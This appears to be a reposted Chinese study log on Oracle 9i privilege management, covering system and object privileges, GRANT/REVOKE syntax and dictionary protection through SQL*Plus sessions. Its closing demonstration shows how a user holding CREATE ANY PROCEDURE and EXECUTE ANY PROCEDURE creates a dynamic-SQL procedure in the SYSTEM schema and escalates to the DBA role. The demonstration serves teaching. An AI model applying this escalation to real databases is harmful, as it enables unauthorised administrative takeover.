我的Oracle 9i学习日志(22)-- 权限管理

简介:

两种用户权限:

System :允许用户执行特定的数据库操作或某类数据库操作,例如,创建表空间的权限就是一种系统权限。
Object :限都允许用户对特定对象(如表、视图、序列、过程、函数或程序包)执行特定的操作。
•  100  多种不同的系统权限。
系统权限可分为以下几类:
•  允许执行系统范围操作的权限;如 CREATE SESSION CREATE TABLESPACE
•  允许管理用户自己方案中的对象的权限;如 CREATE TABLE
•  允许管理任何方案中的对象的权限;如 CREATE ANY TABLE
可使用 DDL  命令 GRANT  REVOKE  控制权限,这两个命令为用户或角色添加和撤消系统权限。
系统权限举例

1
•  没有 CREATE INDEX  权限。
• CREATE TABLE  包括 CREATE INDEX  ANALYZE  命令。用户必须有表空间的限额,或必须被授予 UNLIMITED TABLESPACE  权限。
•  诸如 CREATE TABLE CREATE PROCEDURE  CREATE CLUSTER  等权限包括删除这些对象的权限。
•  无法将 UNLIMITED TABLESPACE  授予角色。
• DROP ANY TABLE  权限是截断另一方案中的表所必需的。
例:
SQL> create user user1 identified by user1 default tablespace luo;
 
User created.
 
SQL> grant create session to user1 ;
 
Grant succeeded.
 
SQL> grant create table to user1;
 
Grant succeeded.
 
SQL> create user user2 identified by user2 default tablespace luo quota 20m on luo;
 
User created.
 
SQL> grant create session to user2;
 
Grant succeeded.
 
SQL> grant create table to user2;
 
Grant succeeded.
 
SQL> conn user1/user1;
Connected.
SQL> show user
USER is "USER1"
SQL> select * from session_privs;
 
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE TABLE
 
SQL> create table test(id int);
create table test(id int)
*
ERROR at line 1:
ORA-01950: no privileges on tablespace 'LUO'
 
SQL> conn user2/user2;
Connected.
SQL> show user
USER is "USER2"
SQL> select * from session_privs;
 
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE TABLE
 
SQL> create table test2(id int);
 
Table created.
授予系统权限
使用 SQL  语句 GRANT  为用户授予系统权限。
被授予者可通过 ADMIN  选项进一步为其他用户授予系统权限。使用 ADMIN  选项授予系统权限时应小心。这样的权限通常只限于安全管理员使用,很少授予其他用户。
GRANT {system_privilege|role}
[, {system_privilege|role} ]...
TO {user|role|PUBLIC}
[, {user|role|PUBLIC} ]...
[WITH ADMIN OPTION]
其中:
system_privilege :指定要授予的系统权限
Role :指定要授予的角色名
PUBLIC :将系统权限授予所有用户
WITH ADMIN OPTION :允许被授予者进一步为其他用户或角色授予权限或角色
Grant any object privilege :见授予对象权限。
两个特殊角色:

2
只有数据库管理员可以使用管理员权限与数据库连接。以 SYSDBA  身份连接可以授予用户不受限制的权限,以便对数据库或数据库中的对象执行任何操作。
系统权限限制
Oracle9i  中的字典保护机制可防止未经授权的用户访问字典对象。
只有角色 SYSDBA  SYSOPER  可以访问字典对象。允许访问其他方案中的对象的系统权限并不授予您对字典对象的访问权限。例如, SELECT ANY TABLE  权限允许访问其它方案中的视图和表,但不允许选择字典对象(基表、视图、程序包和同义词)。
如果  O7_DICTIONARY_ACCESSIBILITY 参数设置为 TRUE,  则允许访问 SYS  方案中的对象( Oracle7  行为)。如果该参数设置为 FALSE ,则允许访问其它方案中的对象的 SYSTEM  权限不允许访问字典方案中的对象。
例如,如果 O7_DICTIONARY_ACCESSIBILITY=FALSE ,则 SELECT ANY TABLE  语句将允许访问除 SYS  方案外的任何方案中的视图或表(例如,不能访问字典)。系统权限 EXECUTE ANY PROCEDURE  将允许访问除 SYS  方案外的任何其它方案中的过程。
实验:
SQL> grant select any table to user1;
 
Grant succeeded.
SQL> show parameter o7
 
NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
O7_DICTIONARY_ACCESSIBILITY          boolean     FALSE
 
SQL> conn user1/user1
Connected.
SQL> select tablespace_name from dba_tablespaces;
select tablespace_name from dba_tablespaces
                            *
ERROR at line 1:
ORA-00942: table or view does not exist
 
SQL> conn /as sysdba
SQL> alter system set O7_DICTIONARY_ACCESSIBILITY=true scope=spfile;
 
System altered.
 
SQL> shutdown immediate
SQL> startup
SQL> show parameter o7
 
NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
O7_DICTIONARY_ACCESSIBILITY          boolean     TRUE
 
SQL> conn user1/user1
Connected.
SQL> select tablespace_name from dba_tablespaces;
 
TABLESPACE_NAME
------------------------------
SYSTEM
UNDOTBS1
TEMP
。。。 。。。
 
撤消系统权限
可以使用 REVOKE SQL  语句撤消系统权限。使用 ADMIN OPTION  授予系统权限的用户可以撤消任何其他数据库用户的权限。撤消者不必是原先授予该权限的那个用户。
REVOKE {system_privilege|role}
[, {system_privilege|role} ]...
FROM {user|role|PUBLIC}
[, {user|role|PUBLIC} ]...
注:
• REVOKE  命令只能撤消使用 GRANT  命令直接授予的权限(即不包括角色的权限)。
•  撤消系统权限可能对一些相关对象有影响。例如,如果将 SELECT ANY TABLE  授予某用户,而该用户已创建了使用其它方案中的表的过程或视图,则撤消该权限将使这些过程或视图无效。

3
情况:
1. DBA  使用 ADMIN OPTION  将系统权限 CREATE TABLE  授予 Jeff
2. Jeff  创建一个表。
3. Jeff  将系统权限 CREATE TABLE  授予 Emi
4. Emi  创建一个表。
5. DBA  撤消 Jeff  CREATE TABLE  系统权限。
结果:
Jeff  的表依然存在,但是,无法创建新表。
Emi  的表依然存在,并且她仍然拥有 CREATE TABLE  系统权限。
Tips:

图4
对象权限

图5
对象权限是一种对于特定的表、视图、序列、过程、函数或程序包执行特定操作的一种权限或权利。上表列出了各种对象的权限。需要注意的是适用于序列的权限只有 SELECT  ALTER 。通过指定可更新列的子集可以对 UPDATE REFERENCES  INSERT  权限加以限制。通过用列的子集创建视图并授予对于该视图的 SELECT  权限,则可对 SELECT  权限加以限制。对于同义词的授权会转换为对于该同义词所引用的基表的授权。
授予对象权限
GRANT { object_privilege [(column_list)]
[, object_privilege [(column_list)] ]...
|ALL [PRIVILEGES]}
ON [schema.]object
TO {user|role|PUBLIC}[, {user|role|PUBLIC} ]...
[WITH GRANT OPTION]
其中:
object_privilege :指定要授予的对象权限
column_list :指定表或视图列(只在授予 INSERT REFERENCES  UPDATE  权限时才指定。)
ALL :将所有权限授予已被授予 WITH GRANT OPTION  的对象
ON object :标识将要被授予权限的对象
WITH GRANT OPTION :使被授予者能够将对象权限授予其他用户或角色
使用 GRANT  语句授予对象权限。
•  要授予权限,对象必须在自己的方案中(除非已被授予 Grant any object privilege 权限) ,或者已通过 GRANT OPTION  被授予权限。
•  缺省情况下,如果拥有某个对象,则自动获得对该对象的所有权限。
•  若有安全方面的考虑,则将您的对象权限授予其他用户时应谨慎。
WITH GRANT OPTION  clause
Specify  WITH GRANT OPTION  to enable the grantee to grant the object privileges to other users and roles. The user whose schema contains an object is automatically granted all associated object privileges with the  GRANT OPTION . This special privilege allows the grantee several expanded privileges:
• The grantee can grant the object privilege to any users in the database, with or without the  GRANT OPTION , or to any role in the database.
• If both of the following are true, the grantee can create views on the table and grant the corresponding privileges on the views to any user or role in the database:
The grantee receives object privileges for the table with the GRANT OPTION.
The grantee has the  CREATE VIEW  or  CREATE ANY VIEW  system privilege
例:
SQL> conn user1/user1;
Connected.
SQL> select * from luo.orders;
select * from luo.orders
                  *
ERROR at line 1:
ORA-00942: table or view does not exist
SQL> conn user1/user1
Connected.
SQL> grant select on orders to user1;
 
Grant succeeded.
SQL> conn user1/user1
Connected.
SQL> select * from luo.orders;
 
    ORD_ID ORD_DATE CUS DATE_OF_D PRODUCT_ID
---------- --------- --- --------- ----------
       610 11-NOV-97 A01
       611 15-NOV-97 A02
Grant any object privilege
SQL> conn luo/luo
Connected.
SQL> select * from user2.t;
select * from user2.t
                    *
ERROR at line 1:
ORA-00942: table or view does not exist
 
 
SQL> conn user1/user1;
Connected.
SQL> select * from user2.t;
select * from user2.t
                    *
ERROR at line 1:
ORA-00942: table or view does not exist
 
sys 用户登录赋予 luo grant any object privileges 权限:
SQL> grant grant any object privileges to luo;
 
Grant succeeded.
 
SQL> conn luo/luo
Connected.
SQL> select * from session_privs;
 
PRIVILEGE
----------------------------------------
。。。 。。。
GRANT ANY OBJECT PRIVILEGE
 
15 rows selected.
 
SQL> select * from user2.t;
select * from user2.t
                    *
ERROR at line 1:
ORA-01031: insufficient privileges
#luo 本身无操作这些对象的权限。
 
SQL> grant select on user2.t to user1;
 
Grant succeeded.
 
SQL> conn user1/user1;
Connected.
SQL> select * from user2.t;
 
        ID
----------
         1
 
撤消对象权限
REVOKE  语句用来撤消对象权限。要撤消对象权限,撤消者必须是将被撤消的对象权限的原始授予者。
使用下列命令撤消对象权限:
REVOKE { object_privilege
[, object_privilege ]...
| ALL [PRIVILEGES] }
ON [schema.]object
FROM {user|role|PUBLIC}
[, {user|role|PUBLIC} ]...
[CASCADE CONSTRAINTS]
其中:
object_privilege :指定将撤消的对象权限
ALL :撤消已授予用户的所有对象权限
ON :标识将撤消其对象权限的对象
FROM :标识将撤消其对象权限的用户或角色
CASCADE CONSTRAINTS :删除撤消使用 REFERENCES  ALL  权限定义的任何引用完整性约束
限制:
授予者只能对其已经授予权限的用户撤消对象权限。

图6
情况:
•  通过 GRANT OPTION  授予 Jeff  对于 EMPLOYEES  SELECT  对象权限。
• Jeff  将对于 EMPLOYEES  SELECT  权限授予 Emi
•  之后,撤消 Jeff  SELECT  权限。该撤消也对 Emi  产生级联影响。
Tips

 

7
 
获取信息:
• DBA_SYS_PRIVS
• SESSION_PRIVS
• DBA_TAB_PRIVS
• DBA_COL_PRIVS
 
安全漏洞演示:
SQL> create user hacker identified by hacker default tablespace luo quota 
 2 unlimited on luo;
 
User created.
 
SQL> grant create session to hacker;
 
Grant succeeded.
 
SQL> grant create any procedure,execute any procedure to hacker;
 
Grant succeeded.
 
SQL> conn hacker/hacker;
Connected.
SQL> show user
USER is "HACKER"
SQL> select * from session_privs;
 
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
 
SQL> select * from session_roles;
 
ROLE
------------------------------
PLUSTRACE
 
SQL> create procedure system.h(h_str in varchar2) as
 2 begin
 3 execute immediate h_str;
 4 end;
 5 /
 
Procedure created.
 
SQL> execute system.h('grant dba to hacker');
 
PL/SQL procedure successfully completed.
 
SQL> select * from session_privs;
 
PRIVILEGE
----------------------------------------
CREATE SESSION
UNLIMITED TABLESPACE
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
 
SQL> conn hacker/hacker
Connected.
SQL> select * from session_roles;
 
ROLE
------------------------------
PLUSTRACE
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
JAVA_ADMIN
 
ROLE
------------------------------
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
 
14 rows selected.









本文转自 d185740815 51CTO博客,原文链接:http://blog.51cto.com/luotaoyang/296315,如需转载请自行联系原作者
相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
1天前
|
SQL Oracle 关系型数据库
oracle11g SAP测试机归档日志暴增排查(二)
oracle11g SAP测试机归档日志暴增排查(二)
12 1
|
1天前
|
Oracle 关系型数据库 Shell
oracle11g SAP测试机归档日志暴增排查(一)
oracle11g SAP测试机归档日志暴增排查(一)
10 1
|
12天前
|
SQL 监控 关系型数据库
【MySQL学习】MySQL的慢查询日志和错误日志
【MySQL学习】MySQL的慢查询日志和错误日志
|
18天前
|
Oracle 关系型数据库 数据库
Oracle 11gR2学习之三(创建用户及表空间、修改字符集和Oracle开机启动)
Oracle 11gR2学习之三(创建用户及表空间、修改字符集和Oracle开机启动)
|
18天前
|
存储 Oracle 网络协议
Oracle 11gR2学习之二(创建数据库及OEM管理篇)
Oracle 11gR2学习之二(创建数据库及OEM管理篇)
|
18天前
|
监控 Docker 容器
Docker从入门到精通:Docker log 命令学习
了解 Docker 日志管理对容器监控至关重要。`docker logs` 命令用于查看和管理容器日志,例如,`docker logs <container_name>` 显示容器日志,`-f` 或 `--follow` 实时跟踪日志,`--tail` 显示指定行数,`--timestamps` 添加时间戳,`--since` 按日期筛选。Docker 支持多种日志驱动,如 `syslog`,可通过 `--log-driver` 配置。有效管理日志能提升应用程序的稳定性和可维护性。
17 0
|
22天前
|
运维 Oracle 关系型数据库
Oracle日志文件:数据王国的“记事本”
【4月更文挑战第19天】Oracle日志文件是数据库稳定运行的关键,记录数据变更历史,用于恢复和故障处理。它们协调并发操作,确保数据一致性和完整性。日志文件实时写入操作信息并定期刷新到磁盘,便于数据恢复。然而,日志文件需备份和归档以保证安全性,防止数据丢失。日志文件,数据王国的“记事本”,默默守护数据安全。
|
22天前
|
存储 Oracle 关系型数据库
Oracle的段:深入数据段与日志段的奥秘
【4月更文挑战第19天】Oracle数据库中的数据段和日志段是存储管理的核心。数据段存储表和索引的实际数据,随数据增长动态调整;日志段记录变更历史,保障数据完整性和恢复。两者协同工作,确保数据库稳定性和并发控制。了解和优化它们的配置能提升数据库性能和可靠性,为业务发展提供支持。
|
11天前
|
DataWorks Oracle 关系型数据库
DataWorks操作报错合集之尝试从Oracle数据库同步数据到TDSQL的PG版本,并遇到了与RAW字段相关的语法错误,该怎么处理
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
29 0
|
23小时前
|
Oracle Java 关系型数据库
【服务器】python通过JDBC连接到位于Linux远程服务器上的Oracle数据库
【服务器】python通过JDBC连接到位于Linux远程服务器上的Oracle数据库
13 6

推荐镜像

更多